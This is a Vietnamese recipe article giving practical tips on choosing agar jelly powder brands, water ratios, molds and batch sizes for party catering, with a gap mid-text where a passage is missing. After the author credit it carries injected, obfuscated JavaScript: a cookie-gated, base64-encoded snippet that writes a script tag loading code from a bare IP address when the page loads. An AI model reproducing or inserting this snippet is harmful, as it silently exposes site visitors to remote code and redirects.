Cách sử dụng bột rau câu giòn và dẻo theo kinh nghiệm thực tế nấu tiệc

Trong các thực đơn của những bữa tiệc thì món rau câu cũng rất thường hay xuất hiện. Nó không chỉ ngon mà đôi lúc còn được trình bày rất công phu và bắt mắt khiến người ăn cảm thấy ngon miệng và làm cho cái kết của một bữa tiệc thêm phần trọn vẹn. Để nấu được lượng rau câu nhiều đến như vậy thì ngoài những công thức chế biến ra thì kinh nghiệm là quan trọng nhất.

Cách chọn bột rau câu đúng cách:

Chọn bột làm rau câu dẻo

2 loại bột rau phổ biến nhất và được sử dụng nhiều nhất đó là bột rau câu giòn và bột rau câu dẻo. Nên chọn mua loại bột rau câu dạng bột vì nếu nấu một số lượng lớn rau câu đến như vậy thì dạng bột vẫn là tối ưu nhất bởi nhanh chóng hòa tan, dể khuấy và ước tính số lượng theo kinh nghiệm, đây cũng là loại phổ biến và dễ tìm thấy trên thị trường.

cach-lam-rau-cau-ngon-1

Cách tiết kiệm chi phí khi làm rau câu dẻo

Nên chọn mua gói lớn để tiết kiệm hơn nhiều. Ví như: 1 gói nhỏ bột agar-agar thì giá thường là 13.600 đồng/ 25g nhưng 50g thì giá là 25.000 đồng.

cach-lam-rau-cau-ngon-2

Gợi ý thương hiệu tin tưởng nên chọn khi làm rau câu dẻo tại nhà

Trên thị trường có bán rất nhiều loại bột rau câu. Trong số đó trà trộn vào có hàng kém chất lượng, có hàng giả, … nhẹ thì có thể ảnh hưởng đến món ăn, nặng thì có thể ngộ độc, gây nguy hại cho sức khỏe. Những thương hiệu thường dùng nhất:

  • Đối với bột rau câu giòn là:

+ Bột rau câu agar-agar

+ Bột rau câu Việt Xô.

cach-lam-rau-cau-ngon-3

  • Còn đối với bột rau câu dẻo là:

+ Bột rau câu jelly Hoàng Yến

+ Bột rau câu con cá dẻo

+ Konnyaky jelly power.

cach-lam-rau-cau-ngon-4

Cách sử dụng bột rau câu hiệu quả khi làm rau câu tại nhà:

Đối với rau câu giòn:

Tỷ lệ bột rau câu và nước: Tùy vào nhãn hiệu và tính chất của mỗi loại bột rau câu mà tỷ lệ giữa bột và nước có thể xê dịch đôi chút. Trên thực tế thì nó không ảnh hưởng nhiều đến chất lượng rau câu làm ra. Những hướng dẫn ghi trên mỗi gói bột rau câu đều là những tỷ lệ được ước tính theo thông dụng nhất và phổ biến nhất. Và dĩ nhiên là tỷ lệ ấy chỉ dùng để pha với nước.

Nếu bạn muốn thêm nguyên liệu vào món rau câu của bạn để trong hấp dẫn hơn như cà phê, trà, sữa tươi, nước cốt dừa hoặc sữa đặc thì tỷ lệ nước sẽ có phần thay đổi.



để nhỏ vào một 1 lớp mỏng lên trên trước rồi mới đổ vào hoàn toàn vào.

cach-lam-rau-cau-ngon-8

  • Chọn khuôn rau câu thích hợp

Việc lựa chọn khuôn rau câu cũng rất quan trọng. Nếu các tiệc lớn vài trăm phần ăn trở lên thì khuôn rau câu một là nên dùng các ly nhựa nhỏ có thể 1 bàn 10 ly, hai là nên dùng 1 khuôn tròn, đường kính khoảng 20-30 cm, cao khoảng 3-4 cm, dễ cắt làm 10 phần đều nhau.

cach-lam-rau-cau-ngon-9

  • Nên nấu từng mẻ nhỏ và vừa

Để có thể kiểm soát nhanh chóng được tình hình thì cho dù là nấu cho một tiệc lớn cũng không nên nấu 1 lần trong 1 nồi cho cả tiệc nhé! vì một là rau câu dễ đông, khi bạn bận một việc khác hoặc trong lúc đang khuấy hay cho ra khuôn gặp sự cố va chạm ngoài ý muốn thì có thể hỏng cả 1 nồi rau câu rất tốn kém đấy. Đối với rau câu nhiều lớp thì việc chia nhỏ ra nấu sẽ lợi hơn nhiều.

cach-lam-rau-cau-ngon-10

Qua những kinh nghiệm trên thì mong rằng các bạn sẽ tích lũy được cho mình những kiến thức thực tiễn từ việc chọn mua bột cho đến khi thành phẩm rau câu hoàn thành nhé! Khi đứng trước áp lực phải nấu cho cả tiệc trên vài trăm người ăn thì bạn 1 người biết nấu rau câu nên bình tĩnh. Dù mình không có kinh nghiệm nấu 1 nồi to, nhưng nhiều nồi nhỏ và vừa, tuy có mất chút thời gian như thành quả chắc chắn sẽ ngon như bạn vẫn thường làm đấy! Hãy tự tin lên nào!

Gợi ý xem thêm: Rau câu dẻo vị trà đường ngọt thơm hấp dẫn!

Hi vọng bài viết này sẽ giúp các bạn có thể thực hiện cách làm rau câu dẻo tại nhà giòn, ngon thành công.

(Tử La Lan) #(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Leave a Reply

Your email address will not be published. Required fields are marked *

This carousel is empty, please add some logos.